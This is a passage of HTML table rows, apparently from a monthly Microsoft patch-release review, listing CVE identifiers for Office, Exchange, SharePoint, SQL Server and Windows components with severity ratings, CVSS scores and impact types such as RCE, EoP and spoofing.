  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
